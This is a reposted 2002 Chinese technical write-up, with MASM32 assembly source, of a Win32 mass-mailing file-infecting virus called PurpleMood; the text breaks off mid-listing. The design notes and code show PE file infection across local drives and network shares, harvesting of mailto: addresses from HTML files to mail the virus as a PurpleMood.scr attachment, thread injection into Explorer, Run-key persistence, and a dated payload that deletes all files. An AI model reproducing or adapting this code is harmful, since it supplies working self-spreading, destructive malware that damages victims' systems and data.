Win32.PurpleMood.6736技术文档创建时间:2002-07-21 文章属性:转载 文章来源:XPurpleMood@163.com 文章提交:squirrel (suruixuan1_at_sina.com) 病毒名称 :PurpleMood (紫色心情) 适用环境: Win9x/Winnt/Win2k/Winxp 编写环境: Win2k,Masm32v6 简 介:1. 感染本地硬盘和网络上所有exe(GUI)文件 2. 搜索本地所有邮件地址,将病毒作为附件发送出去 3. 在Explorer进程中注入线程监控程序的运行。 4. 每月15日,发作。删除硬盘所有文件。 完成日期: 2002/6/20 版 本: v1.0 大 小: 6736(byte) 联系地址: XPurpleMood@163.com 警 告 : 以下程序(方法)可能带有攻击性,仅供技术交流。使用者风险自负!若有其他用途,概与本人无关。万一有转贴,请保持完整性,多谢! ************************************************* 工作流程: 1.首先得到重定位信息,保存在ebx中. 2.调用GetKBase ,得到Kernel32.dll的基地址。 3.调用GetAPIz,得到程序将使用的Kernel32中所有API. 4. 调用PayLoad判断是否满足发作条件,是则删除所有文件。否则继续。 5.判断是被感染文件还是自身(病毒在系统目录创建PurpleMood.scr). 6. 是染毒文件,则调用CreatePE来创建PurpleMood.scr,初始化(rtInit)写注册表项所需函数地址。调用MakeSCRAlive使PurpleMood.scr保持活动。 7. 如果是PurpleMood.scr,则CreateMutex设置标志,然后启动监控线程,感染PE线程,在主线程中发送邮件。 说明: 将程序中test@pact518.hit.edu.cn替换为自己的邮件 pact518.hit.edu.cn替换为自己的smtp服务器。 在d:建立test目录,里面放几个exe.实验用。 技巧与难点分析 1.重定位信息的确定 VStart: ;virus starts here :) call start start: pop ebx sub ebx , offset start A dd 0 这段代码在哪里执行都一样!现在得到的ebx就是重定位信息。 变量A的偏移就是ebx + offset A.因为offset A是程序的第一条指令放到内存地址0时的偏移,但实际上放到了ebx. 也可以这么理解: 执行call start时(相当于push eip+jmp start),eip指向pop ebx,因为eip总是下一条指令的地址。pop ebx就把栈顶的eip存贮到ebx中。start在内存中(虚拟内存)的线形地址就放到ebx中了。那么A的地址显然就是(offset A - offset start)+ebx ,我们先 sub ebx , offset start,这样以后访问A就可以直接写offset A+ebx方便些。两种理解方法实际上是一样的。 2. RVA的含义 在CreatePE创建PurpleMood.scr和得到GetProcAddress的时候,多次使用这个概念。 exe或dll被加载到内存,注意,都是虚拟内存,4G空间。实际上把exe文件拉大了,就好象斜阳把人的影子拉长一样。 比如exe中代码段在文件偏移200h处,很可能在内存中偏移是1000h处,这个1000h就是RVA.RVA是距离影象的base的偏移。 下面形象解释: 在文件的第200h个字节就是代码段的第一条指令了(当然,未必是start).而1000h不是真正地址。比如 exe影象是00400000h,则代码段的第一条指令就是00400000h+1000h了。HMODULE就是DWORD,或者是int *,char *等,都一样。 我们用HMODULE p=LoadLirary("a.dll"),返回值就是a.dll被加载到内存(4G)的首地址。此时叫做影象(image). 与offset区别: 我要说的这个offset是程序中使用的。 比如写个小程序: .data b db 0 a db 'abc',0 .code start: mov eax,offset a ... 那么这个offset a是多少由compiler确定。我想是算出来的。这么计算: 比如code的RVA是1000h,data的RVA是2000h.ImageBase=00400000h,那么a被加载后的地址就是 00400000h+2000h+1(b占一个字节),那么offset a编译成00402001。 事实上,我们的exe总能加载到ImageBase指定的位置,Loader不必在重定位。 以上分析不保证正确!都是个人理解。 3. @pushsz 宏. @pushsz MACRO str LOCAL next call next ;执行 call next的时候, eip->db str,0,那么eip就被压栈 db str,0 next: ENDM @pushsz 'abc' <=> a db 'abc',0 .... mov eax,offset a,push eax 是在RoachCock的帮助下写的。 4. CreateRemoteThread网上很多介绍。 关键是地址问题。同样得到重定位信息。 5. 几个小问题 ret 相当于 pop eip. ret 4 相当于 pop eip + sub esp,4 call l 相当于 push eip+ jmp l 使用api时都保存esi,edi,ebx,ebp他们不会被改变,而ecx,edx等就不保了。需要自己保存。 mov eax,12345678h _CreateRemoteThread = dword ptr $-4 call eax ;run remote thread! _CreateRemoteThread就相当一个标号(比如 start: ... l: ...) 它指向12345678占用的4个字节。 1. 主要函数说明 1.1 GetKBase 功能:获得Kernel32.dll模块的首地址 原理:主线程执行的第一条指令应该是BaseThreadStart的指令,在这个函数中调用的VStart(程序入口),返回地址进栈, 既程序执行完时,应该返回到BaseStartProcess函数。这个函数在Kernel32中,它的指令地址就在kernel32模块空间中并且大于HModule以它为基础,以64k(10000h)(分配粒度)为单位向上搜索具有PE结构的模块。 1.2 GetAPIz 功能: 得到将使用的Kernel32中的API线形地址 原理: 分析K32模块,在它的EXPORT表中找到GetProcAddress的地址。然后,利用GetProcAddress得到其他函数地址。 1.3 EnumDir 功能: 遍历指定目录,寻找指定类型的文件。 输入: DirName : DWORD ,FileType:DWORD 局部变量:LOCAL hSearch : DWORD LOCAL DirorFile[MAX_PATH] : DWORD DirName是常量。DirorFile存放中间过程,有时是DirName\*.*、有时是 DirName\FileName或DirName\DirName. 得到一个文件后,判断是否是目录。 1. 是,则递归调用EnumDir,参数是DirorFile。 2. 否,则调用AnFile,分析文件,做相应处理。 1.4 AnFile FileName:DWORD,FileType: DWORD 功能:分析文件类型(FileType) 1. FILE_ALL: 删除文件 2. FILE_EXE: 调用InfectFile感染 3. FILE_HTM: 调用ParseHTM分析 1.5 InfectFile PROC FileName : DWORD 功能: 感染FileName指定文件 流程: 1. 打开文件,分析文件,是否是合法的PE文件,不是则返回。 2. 查看感染标,已经感染则返回。 3. 判断文件是否有剩余空间存放病毒的Section,没有则返回。 4. 更新文件,添加新节,写入病毒代码,设置新节为可读可写可执行。 5. 设置感染标志。 1.6 PEThread PROC MReloc : DWORD 功能:遍历硬盘和网络,得到目录后调用EnumDir。休眠后重复上述过程。 说明:Meloc参数为主线城的ebx,既重定位信息,因为新线城的Register已经清0。 1.7 EnumNetWork PROC pNetResource : DWORD 功能: 遍历网络的实现函数,使用MPR函数,得到一个目录后调用EnumDir,类型为FILE_EXE. 1.8 EnumDisk PROC DirName : DWORD,FileType : DWORD 功能: 遍历硬盘的实现函数,从c->z,得到一个目录后(如‘C:’)后调用EnumDir。 1.9 MailThread 功能:邮件线程,位于主线程。 1.9.1. 调用MailInit,对PurpleMood.scr进行Base64编码,存贮在动态分配的内存中,保留内存地址在Base64_Encoded_Data。 初始化Socket函数。 1.9.2 开始调用EnumDisk,参数为FILE_HTM,寻找*.htm*文件。EnumDisk得到的参数以"c:"开始,将其作为目录,调用EnumDir,EnumDir找到一个.htm*后调用ParseHTM,在其中搜索mailto:字符串,其后既是MailAddr了。找到后,调用SendMail发送出去,PurpleMood.scr作为附件。然后继续分析这个htm,寻找其他邮件地址,直到文件末尾。然后返回到AnFile,在返回到EnumDir,寻找下一个htm. 1.9.3 遍历硬盘后,休息一天,重新开始。 2.0 CreatePE 功能:在系统目录创建一个PurpleMood.scr 创建类型为CREATE_NEW,既如果已经存在就返回。 文件头从MDosStub开始,这个DosStub是最小的,只有一个IMAGE_DOS_HEADER那么大。没有int 21h只类的语句,所以在Dos下不能运行。先写入文件头,在写入病毒代码,FileAliagment=200h 2.1 MonitorThread PROC MReloc : DWORD 找到Explorer进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr的运行和注册表的Run项. Meloc和PEThread一样,同样是ebx. 2.1.1: LoadLibrary(PSAPI) 2.1.2: 初始化需要的api. 2.1.3: EnumProcesses,分析每个进程。 2.1.4: 分析过程 1. OpenProcess (注意权限) 2. EnumProcessModules,GetModuleBaseNameA 3. 是Explorer.exe吗?不是返回,分析下一个进程。 4. 是: 1) VirtualAllocEx 2)WriteProcessMemory 3)CreateRemoteThread 2.2 MakeSCRAlive 1. OpenMutex(..."GetProcAddress") 成功说明,PurpleMood.scr在运行中。立即ReleaseMutex并CloseHandle。 这样可以避免,PurpleMood关闭后,Explorer的线程因为OpenMutex过而认为PurpleMood还在运行。 失败,则调用RunPE,运行PurpleMood.scr. 2. RegisterPE,在Software\Microsoft\Windows\CurrentVersion\Run写入PurpleMood,保证开机运行。 2.3 CreatePE 1. 在系统目录创建PurpleMood.scr,如果已经存在则返回。 2. 写入文件头 3. 写入病毒体 源代码: ---------------------------------------------------------------------------- 测试时需要D:\test. 另外,目的油箱可能需要改变,拿自己的实验吧 :) .386 .model flat,stdcall option casemap:none include useful.inc .data hi db 'hi',0 ppmm db 'ppmm,you need no reason to love me!',0 .code main: mov HostEntry,offset ret_addr jmp VStart ret_addr: Invoke MessageBox,NULL,offset ppmm,offset hi,0 ret CODE SEGMENT VStart: ;virus starts here :) call start start: pop ebx sub ebx , offset start call GetKBase call GetAPIz call PayLoad lea esi,[offset szEXEPath+ebx] push MAX_PATH push esi push NULL mov eax , 12345678h _GetModuleFileNameA = dword ptr $-4 call eax lea edi,[offset szFilePath+ebx] push 50 push edi mov eax , 12345678h _GetSystemDirectoryA = dword ptr $-4 call eax add eax,FNameSize mov SCRPathSize[ebx],eax lea eax,[offset szFileName+ebx] push eax push edi mov eax , 12345678h _lstrcat = dword ptr $-4 call eax push esi push edi mov eax , 12345678h _lstrcmpi = dword ptr $-4 call eax or eax,eax jz StartInfect call CreatePE call rtInit call MakeSCRAlive Ret2Host: push HostEntry[ebx] ret ;此时栈顶为HostEntry,返回正常入口执行 StartInfect: lea eax,[offset nGetProcAddress+ebx] ;Mutex name push eax push FALSE push NULL mov eax , 12345678h _CreateMutex = dword ptr $-4 call eax lea eax,[offset MonitorThread + ebx] push 0 push 0 push ebx ;I pass 0 first :( push eax push 0 push 0 mov eax , 12345678h _CreateThread = dword ptr $-4 call eax lea eax,[offset PEThread + ebx] push 0 push 0 push ebx ;I pass 0 first :( push eax push 0 push 0 call _CreateThread[ebx] call MailThread ;while(TRUE) ;**********获得image of kernel32.dll的基址***************** GetKBase: mov edi , [esp+4] and edi , 0FFFF0000h .while TRUE .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE mov esi, edi add esi, [esi+03Ch] .if DWORD ptr [esi] == IMAGE_NT_SIGNATURE .break .endif .endif sub edi, 010000h .if edi < MIN_KERNEL_SEARCH_BASE ;win9x mov edi, 0bff70000h ;0bff7000h=9x'base .break .endif .endw mov hKernel32[ebx],edi ret GetAPIz: mov edx,edi ;edx->Kernel32_Base assume edx :ptr IMAGE_DOS_HEADER add edx,[edx].e_lfanew assume edx:ptr IMAGE_NT_HEADERS mov edx,[edx].OptionalHeader.DataDirectory.VirtualAddress add edx,hKernel32[ebx] assume edx:ptr IMAGE_EXPORT_DIRECTORY mov ebp,[edx].AddressOfNames add ebp,hKernel32[ebx] ;now ebp=Addr of RVAofName[] xor eax,eax ;eax AddressOfNames Index .repeat push 14 ;Lenth of GetProcAddress pop ecx mov edi,[ebp] add edi,hKernel32[ebx] lea esi,[offset nGetProcAddress+ebx] repz cmpsb .if zero? .break .endif add ebp,4 ;下一个RVA inc eax .until eax == [edx].NumberOfNames mov ebp, [edx].AddressOfNameOrdinals add ebp, hKernel32[ebx] movzx ecx, word ptr [ebp+eax*2] mov ebp, [edx].AddressOfFunctions ;get addr of the api add ebp, hKernel32[ebx] mov eax, [ebp+ecx*4] add eax,hKernel32[ebx] mov _GetProcAddress[ebx],eax ;Save GetProcAddress GetOApiz: call @api_table db 'LoadLibraryA',0 db 'CreateThread',0 db 'CreateRemoteThread',0 db 'WinExec',0 db 'CreateMutexA',0 db 'OpenMutexA',0 db 'ReleaseMutex',0 db 'FindFirstFileA',0 db 'FindNextFileA',0 db 'FindClose',0 db 'CreateFileA',0 db 'CreateFileMappingA',0 db 'MapViewOfFile',0 db 'UnmapViewOfFile',0 db 'SetFilePointer',0 db 'WriteFile',0 db 'CloseHandle',0 db 'VirtualAlloc',0 db 'VirtualAllocEx',0 db 'WriteProcessMemory',0 db 'VirtualFree',0 db 'VirtualFreeEx',0 db 'lstrcmpi',0 db 'lstrcpy',0 db 'lstrcat',0 db 'lstrlen',0 db 'GetFileSize',0 db 'GetSystemDirectoryA',0 db 'GetModuleFileNameA',0 db 'Sleep',0 db 'GetSystemTime',0 db 'DeleteFileA',0 db 'OpenProcess',0 @api_table: pop edi call @api_dest K_Apiz: dd offset _LoadLibraryA dd offset _CreateThread dd offset _CreateRemoteThread dd offset _WinExec dd offset _CreateMutex dd offset _OpenMutex dd offset _ReleaseMutex dd offset _FindFirstFile dd offset _FindNextFile dd offset _FindClose dd offset _CreateFile dd offset _CreateFileMapping dd offset _MapViewOfFile dd offset _UnmapViewOfFile dd offset _SetFilePointer dd offset _WriteFile dd offset _CloseHandle dd offset _VirtualAlloc dd offset _VirtualAllocEx dd offset _WriteProcessMemory dd offset _VirtualFree dd offset _VirtualFreeEx dd offset _lstrcmpi dd offset _lstrcpy dd offset _lstrcat dd offset _lstrlen dd offset _GetFileSize dd offset _GetSystemDirectoryA dd offset _GetModuleFileNameA dd offset _Sleep dd offset _GetSystemTime dd offset _DeleteFile dd offset _OpenProcess K_API_NUM = ($-K_Apiz)/4 @api_dest: pop esi push K_API_NUM pop ecx xor ebp,ebp K_begin: push ecx push edi push hKernel32[ebx] call _GetProcAddress[ebx] or eax,eax jz GA_Fail mov edx , [esi+ebp] mov dword ptr [edx+ebx],eax xor eax,eax repnz scasb ;寻找字符串结束标志0,使edi指向下个函数名 add ebp,4 pop ecx loop K_begin @pushsz 'MPR.dll' call _LoadLibraryA[ebx] or eax,eax jz short GA_Fail xchg esi,eax ;HMODULE of MPR.dll Mpr_begin: @pushsz 'WNetOpenEnumA' push esi call _GetProcAddress[ebx] mov _WNetOpenEnum[ebx],eax @pushsz 'WNetEnumResourceA' push esi call _GetProcAddress[ebx] mov _WNetEnumResource[ebx],eax @pushsz 'WNetCloseEnum' push esi call _GetProcAddress[ebx] mov _WNetCloseEnum[ebx],eax GA_Fail: ret PayLoad: call @PL1 SystemTime SYSTEMTIME <> @PL1: mov esi,[esp] mov eax , 12345678h _GetSystemTime = dword ptr $-4 call eax movzx eax , word ptr [esi+6] ;SystemTime.wDay cmp ax,14h ;15号吗? jnz PL_Exit KILL: push FILE_ALL @pushsz 'd:\test' call EnumDir PL_Exit: ret ;********************************************* ;the thread begin to enum all file in disk and ;network , when it finds a pe file Infect it! ;********************************************* PEThread PROC MReloc : DWORD PT_Work: mov ebx,MReloc push FILE_EXE @pushsz 'd:\test' call EnumDir ;push NULL ;call EnumNetWork push 1000*60*60 ;sleep an hour:) call _Sleep[ebx] jmp short PT_Work PEThread ENDP ;枚举网络邻居 EnumNetWork PROC pNetResource : DWORD LOCAL hEnum : DWORD LOCAL Count : DWORD LOCAL BufferSize : DWORD pushad push 0FFFFFFFFh pop Count push 16*1024 pop BufferSize lea eax , hEnum push eax push pNetResource push 0 push RESOURCETYPE_DISK push RESOURCE_GLOBALNET mov eax , 12345678h _WNetOpenEnum = dword ptr $-4 call eax or eax,eax jnz EN_Exit push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push 16*1024 push 0 mov eax , 12345678h _VirtualAlloc = dword ptr $-4 call eax or eax,eax jz short EN_Close mov pNetResource,eax lea eax,BufferSize push eax push pNetResource lea eax,Count push eax push hEnum mov eax , 12345678h _WNetEnumResource = dword ptr $-4 call eax or eax,eax jnz short EN_Free mov ecx,Count mov edi,pNetResource assume edi:ptr NETRESOURCEA EN_Loop: push ecx mov eax,[edi].dwUsage and al,2 .IF al == 2 push edi call EnumNetWork .ELSE mov eax,[edi].lpRemoteName push FILE_EXE push eax call EnumDir .ENDIF add edi,20h ; sizeof NETRESOURCE pop ecx loop EN_Loop EN_Free: push MEM_RELEASE push 0 push pNetResource mov eax , 12345678h _VirtualFree = dword ptr $-4 call eax EN_Close: push hEnum mov eax , 12345678h _WNetCloseEnum = dword ptr $-4 call eax EN_Exit: popad ret 4 EnumNetWork ENDP ;************InfectDisk*********************** ;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe ;********************************************* EnumDisk PROC DirName : DWORD,FileType : DWORD .REPEAT push FileType push DirName call EnumDir mov eax,DirName inc byte ptr [eax] mov al,byte ptr[eax] .UNTIL al > 'z' mov byte ptr [eax] , 'c' ret 8 EnumDisk ENDP ;************EnumDir************ ;遍历DirName,寻找FileType类型文件 ;******************************* EnumDir PROC DirName : DWORD , FileType:DWORD LOCAL hSearch : DWORD LOCAL DirorFile[MAX_PATH] : DWORD pushad push DirName lea esi,DirorFile push esi mov eax , 12345678h _lstrcpy = dword ptr $-4 call eax @pushsz '\*.*' push esi ;DirorFile call _lstrcat[ebx] lea edi,[offset wfd+ebx] push edi push esi mov eax , 12345678h _FindFirstFile = dword ptr $-4 call eax cmp eax,INVALID_HANDLE_VALUE jz ED_Exit mov hSearch,eax .REPEAT .if byte ptr [wfd+44+ebx]=='.' jmp short EN_NEXT .endif push DirName push esi call _lstrcpy[ebx] @pushsz '\' push esi call _lstrcat[ebx] lea eax,[wfd+44+ebx] push eax push esi ;DirorFile call _lstrcat[ebx] mov eax , dword ptr [wfd+ebx] and eax , FILE_ATTRIBUTE_DIRECTORY .if eax ==FILE_ATTRIBUTE_DIRECTORY push dword ptr FileType push esi call EnumDir .else ;是文件 push dword ptr FileType push esi call AnFile .endif EN_NEXT: push edi push hSearch mov eax , 12345678h _FindNextFile = dword ptr $-4 call eax .UNTIL eax==0 ;FindNexeFile fail ED_Close: push hSearch mov eax , 12345678h _FindClose = dword ptr $-4 call eax ED_Exit: popad ret 8 EnumDir ENDP ;分析文件类型,入口参数为文件名和欲匹配类型(exe或htm) AnFile PROC FileName:DWORD,FileType:DWORD pushad AF_00: lodsb or al,al jnz AF_00 .if FileType == FILE_ALL ;all push FileName mov eax , 12345678h _DeleteFile = dword ptr $-4 call eax .elseif FileType == FILE_EXE ;exe mov eax,[esi-5] .if eax == 'exe.' push FileName call InfectFile .endif .else ;FileType = FILE_HTM AF_01: sub esi , 2 lodsb cmp al,'.' jnz AF_01 mov eax,[esi-1] .if eax == 'mth.' push FileName call Parse_HTM .endif .endif popad ret 8 AnFile ENDP ;感染PE文件 InfectFile PROC FileName : DWORD LOCAL hFile : DWORD LOCAL hMapping : DWORD LOCAL pMapping : DWORD LOCAL ByteWrite: DWORD pushad push NULL push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push NULL push FILE_SHARE_READ+FILE_SHARE_WRITE push GENERIC_READ+GENERIC_WRITE push FileName mov eax , 12345678h _CreateFile = dword ptr $-4 call eax cmp eax,INVALID_HANDLE_VALUE jz IF_Exit mov hFile,eax push 0 push 0 push 0 push PAGE_READWRITE push NULL push hFile mov eax , 12345678h _CreateFileMapping = dword ptr $-4 call eax or eax,eax jz IF_F3 mov hMapping , eax push 0 push 0 push 0 push FILE_MAP_READ+FILE_MAP_WRITE push hMapping mov eax , 12345678h _MapViewOfFile = dword ptr $-4 call eax or eax,eax jz IF_F2 mov pMapping,eax mov esi,eax assume esi :ptr IMAGE_DOS_HEADER .IF [esi].e_magic!=IMAGE_DOS_SIGNATURE jmp IF_F1 .ENDIF .IF [esi].e_lfarlc!=040h jmp IF_F1 .ENDIF add esi,[esi].e_lfanew ;此时edx指向PE文件头 assume esi:ptr IMAGE_NT_HEADERS .IF [esi].Signature!=IMAGE_NT_SIGNATURE ;是PE文件吗? jmp IF_F1 .ENDIF .IF word ptr [esi].OptionalHeader.Subsystem!=2 jmp IF_F1 .ENDIF .IF word ptr [esi+1ah]==0815h jmp IF_F1 .ENDIF mov eax,[esi].OptionalHeader.AddressOfEntryPoint add eax,[esi].OptionalHeader.ImageBase mov HostEntry[ebx],eax ;保存原入口 ;*************************************************************** ;判断是否有足够空间存储新节 ;28h=sizeof IMAGE_SECTION_HEADER ;18h=sizeof IMAGE_FILE_HEADER+Signature ;edi将指向新节 ;*************************************************************** movzx eax,[esi].FileHeader.NumberOfSections mov ecx,28h mul ecx lea edi,[esi] sub edi,pMapping add eax,edi add eax,18h movzx edi,[esi].FileHeader.SizeOfOptionalHeader add eax,edi mov edi,eax add edi,pMapping ;I forgot this first add eax,28h .IF eax>[esi].OptionalHeader.SizeOfHeaders jmp IF_F1 .ENDIF ;***************************************** ;空间允许, ^0^,开始插入新节并填充各字段 ;esi指向原文件最后一个节,利用它来填充新节某些字段 ;***************************************** inc [esi].FileHeader.NumberOfSections assume edi:ptr IMAGE_SECTION_HEADER mov dword ptr[edi],00736A78h ;'xjs' push [esi].OptionalHeader.SizeOfImage pop [edi].VirtualAddress mov eax,offset VEnd-offset VStart mov [edi].Misc.VirtualSize,eax mov ecx,[esi].OptionalHeader.FileAlignment div ecx inc eax mul ecx mov [edi].SizeOfRawData,eax lea eax,[edi-28h+14h] ;PointerToRawData mov eax,[eax] lea ecx,[edi-28h+10h] ;SizeOfRawData mov ecx,[ecx] add eax,ecx mov [edi].PointerToRawData,eax mov [edi].Characteristics,0E0000020h ;可读可写可执行 ;*************************************************************** ;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行 ;*************************************************************** mov eax,[edi].Misc.VirtualSize mov ecx,[esi].OptionalHeader.SectionAlignment div ecx inc eax mul ecx add eax,[esi].OptionalHeader.SizeOfImage mov [esi].OptionalHeader.SizeOfImage,eax mov eax,[edi].VirtualAddress mov [esi].OptionalHeader.AddressOfEntryPoint,eax mov word ptr [esi+1ah],0815h ;写入感染标志 push FILE_BEGIN push 0 push [edi].PointerToRawData push hFile mov eax , 12345678h _SetFilePointer = dword ptr $-4 call eax ;**************************************************************** ;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐 ;**************************************************************** push 0 lea eax,ByteWrite push eax push [edi].SizeOfRawData lea eax,[offset VStart+ebx] push eax push hFile mov eax , 12345678h _WriteFile = dword ptr $-4 call eax IF_F1: push pMapping mov eax , 12345678h _UnmapViewOfFile = dword ptr $-4 call eax IF_F2: push hMapping call _CloseHandle[ebx] IF_F3: push hFile call _CloseHandle[ebx] IF_Exit: popad ret 4 InfectFile ENDP ;*****************电子邮件传播线程*************************** ;从本地、网络的*.htm*获得邮件地址. ;*********************************************************** MailThread: call MailInit MT_Work: push FILE_HTM @pushsz 'c:' call EnumDisk push 1000*60*60*24 ;sleep a day :) call _Sleep[ebx] jmp short MT_Work ;********************************************************* ;Mutate virus to BASE64 only once ;********************************************************* MailInit PROC LOCAL hFile : DWORD LOCAL hMapping : DWORD LOCAL pMapping : DWORD pushad xor edi,edi push edi push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push edi push FILE_SHARE_READ push GENERIC_READ lea eax,[offset szFilePath+ebx] push eax call _CreateFile[ebx] mov hFile,eax push edi push edi push edi push PAGE_READONLY push edi push eax call _CreateFileMapping[ebx] mov hMapping,eax push edi push edi push edi push FILE_MAP_READ push eax call _MapViewOfFile[ebx] mov pMapping,eax push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push SIZEOF_VIRUS_FILE*2 push edi call _VirtualAlloc[ebx] mov Base64_Encoded_Data[ebx],eax mov esi,pMapping mov edi,Base64_Encoded_Data[ebx] call EncodeBase64 @pushsz 'WSOCK32.DLL' call _LoadLibraryA[ebx] xchg eax,edi ;hSockDll @pushsz 'WSAStartup' push edi call _GetProcAddress[ebx] lea esi,[offset WSA_Data+ebx] push esi push 0202h ;!!!warning 2.2 call eax @pushsz 'socket' push edi call _GetProcAddress[ebx] mov [offset _socket+ebx],eax @pushsz 'gethostbyname' push edi call _GetProcAddress[ebx] @pushsz 'pact518.hit.edu.cn' call eax mov esi,[eax+12] lodsd push [eax] pop [offset ServIP + ebx] @pushsz 'connect' push edi call _GetProcAddress[ebx] mov [offset _connect+ebx],eax @pushsz 'send' push edi call _GetProcAddress[ebx] mov [offset _send+ebx],eax @pushsz 'closesocket' push edi call _GetProcAddress[ebx] mov [offset _closecsoket+ebx],eax MI_Close3: push pMapping call _UnmapViewOfFile[ebx] MI_Close2: push hMapping call _CloseHandle[ebx] MI_Close: push hFile call _CloseHandle[ebx] MI_Exit: popad ret MailInit ENDP ;********************************** ;esi <- Buffer with data to encode ;edi <- Destination buffer ;********************************** EncodeBase64 Proc LOCAL BASE64_lines : DWORD xor ecx,ecx mov BASE64_lines,ecx cld BASE64encode_loop: cmp ecx,SIZEOF_VIRUS_FILE jae BASE64__exit xor edx,edx mov dh,byte ptr [esi+ecx] inc ecx cmp ecx,SIZEOF_VIRUS_FILE jae BASE64__00 mov dl,byte ptr [esi+ecx] BASE64__00: inc ecx shl edx,08h cmp ecx,SIZEOF_VIRUS_FILE jae BASE64__01 mov dl,byte ptr [esi+ecx] BASE64__01: inc ecx mov eax,edx and eax,00fc0000h shr eax,12h mov al,byte ptr [eax+offset Base64DecodeTable+ebx] stosb mov eax,edx and eax,0003f000h shr eax,0Ch mov al,byte ptr [eax+offset Base64DecodeTable+ebx] stosb mov eax,edx and eax,00000fc0h shr eax,06h mov al,byte ptr [eax+offset Base64DecodeTable+ebx] stosb mov eax,edx and eax,0000003fh mov al,byte ptr [eax+offset Base64DecodeTable+ebx] stosb cmp ecx,SIZEOF_VIRUS_FILE jbe BASE64__02 mov byte ptr [edi-00000001h],'=' BASE64__02: cmp ecx,SIZEOF_VIRUS_FILE+01h jbe BASE64__03 mov byte ptr [edi-00000002h],'=' inc BASE64_lines cmp BASE64_lines,00000013h jne BASE64encode_loop mov ax,0A0Dh stosw mov BASE64_lines,00000000h BASE64__03: jmp BASE64encode_loop BASE64__exit: mov ax,0A0Dh stosw ret EncodeBase64 EndP ;********************************************** ;发送邮件函数 ;1. 连接SMTP Server ;2. 发送协议信息,发送BASE64编码的附件,发送其余数据 ;warning: 发送数据的长度 ;********************************************** SendMail PROC pushad push NULL push SOCK_STREAM push AF_INET mov eax , 12345678h _socket = dword ptr $-4 call eax mov VSocket[ebx],eax push sizeof(sockaddr) ; Size of connect strucure=16 call @SMTP1 ; Connect structure dw AF_INET ; Family db 0,25 ; Port number,avoid htons :) ServIP dd 0 ; in_addr of server db 8 dup(0) ; Unused @SMTP1: push [offset VSocket+ebx] mov eax , 12345678h _connect = dword ptr $-4 call eax lea eax,[offset SM_I+ebx] push eax mov eax,12345678h _lstrlen = dword ptr $ - 4 call eax push NULL push eax call SM_I_End SM_I: HelloServer db 'HELO cx',0dh,0ah db 'MAIL FROM: <' TempMailTo db 128 dup (0) SM_I_End: push [offset VSocket+ebx] call _send[ebx] push NULL push SM_II_End - SM_II call SM_II_End SM_II: db '>',0dh,0ah RcptTo db 'RCPT TO: <test@pact518.hit.edu.cn>',0dh,0ah SM_II_End: push [offset VSocket+ebx] call _send[ebx] push NULL push SM_Data_Len call SM_Data MailData db 'DATA',0dh,0ah db 'Subject:hi',0dh,0ah db 'Content-Type: multipart/mixed;boundary=WC_MAIL_PaRt_BoUnDaRy_05151998',0dh,0ah db '--WC_MAIL_PaRt_BoUnDaRy_05151998',0dh,0ah db 'Content-Type: application/octet-stream; file=PurpleMood.scr',0dh,0ah db 'Content-Transfer-Encoding: base64',0dh,0ah db 'Content-Disposition: attachment; filename=PurpleMood.scr',0dh,0ah,0dh,0ah SM_Data_Len = $ - MailData SM_Data: push [offset VSocket+ebx] call _send[ebx] mov eax,Base64_Encoded_Data[ebx] push eax call _lstrlen[ebx] push NULL ;Send base64 attachment push eax ;SIZEOF_VIRUS_BASE64 push [offset Base64_Encoded_Data+ebx] ; Buffer push [offset VSocket+ebx] call _send[ebx] push NULL push SM_DR_Len call SM_DR MailDataRemain db '--WC_MAIL_PaRt_BoUnDaRy_05151998--',0dh,0ah db 0dh,0ah,'.',0dh,0ah,'QUIT',0dh,0ah SM_DR_Len = $ - MailDataRemain SM_DR: push [offset VSocket+ebx] call _send[ebx] push [offset VSocket+ebx] mov eax , 12345678h _closecsoket = dword ptr $-4 call eax popad ret SendMail ENDP ;分析MailFileName(*.htm*),寻找Mail_Addr. Parse_HTM PROC FileName :DWORD LOCAL hFile : DWORD LOCAL hMapping : DWORD LOCAL SafeFSize: DWORD pushad push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ push GENERIC_READ push FileName call _CreateFile[ebx] or eax,eax jz PH_Exit mov hFile , eax xor eax,eax push eax push eax push eax push PAGE_READONLY push eax push hFile call _CreateFileMapping[ebx] or eax,eax jz PH_Close mov hMapping,eax xor eax,eax push eax push eax push eax push FILE_MAP_READ push hMapping call _MapViewOfFile[ebx] or eax,eax jz PH_Close2 xchg eax,esi ;esi = pMapping push 0 push hFile mov eax , 12345678h _GetFileSize = dword ptr $-4 call eax sub eax,16 ;For security add eax,esi mov SafeFSize,eax ;esi must be below SafeFSize .while esi < SafeFSize xor edx,edx ;Valid = FALSE @pushsz 'mailto:' pop edi push 7 ;strlen of 'mailto:' pop ecx repz cmpsb .if zero? ;找到 mailto: lea edi,[offset TempMailTo+ebx] push edi .while esi<SafeFSize lodsb .if al==' ' .continue .elseif al=='>' || al=='"' ||al==''''||al=='<' xor al,al stosb .break .elseif al=='@' stosb inc edx .else stosb .endif .endw pop edi .if edx==1 call SendMail .endif .endif inc esi .endw PH_Close3: push esi call _UnmapViewOfFile[ebx] PH_Close2: push hMapping call _CloseHandle[ebx] PH_Close: push hFile call _CloseHandle[ebx] PH_Exit: popad ret 4 Parse_HTM ENDP ;**************************** ;data used by SendMail ;**************************** WSA_Data WSADATA <> VSocket dd 0 _send dd 0 Base64_Encoded_Data dd 0 Base64DecodeTable equ $ db 'A','B','C','D','E','F','G','H','I','J' db 'K','L','M','N','O','P','Q','R','S','T' db 'U','V','W','X','Y','Z','a','b','c','d' db 'e','f','g','h','i','j','k','l','m','n' db 'o','p','q','r','s','t','u','v','w','x' db 'y','z','0','1','2','3','4','5','6','7' db '8','9','+','/' SizeOfBase64DecodeTable equ $-Base64DecodeTable ;********CreatePE********************** CreatePE PROC LOCAL ByteWrite:DWORD pushad lea eax , [offset szFilePath+ebx] push NULL push FILE_ATTRIBUTE_NORMAL push CREATE_NEW push NULL push FILE_SHARE_READ+FILE_SHARE_WRITE push GENERIC_READ+GENERIC_WRITE push eax call 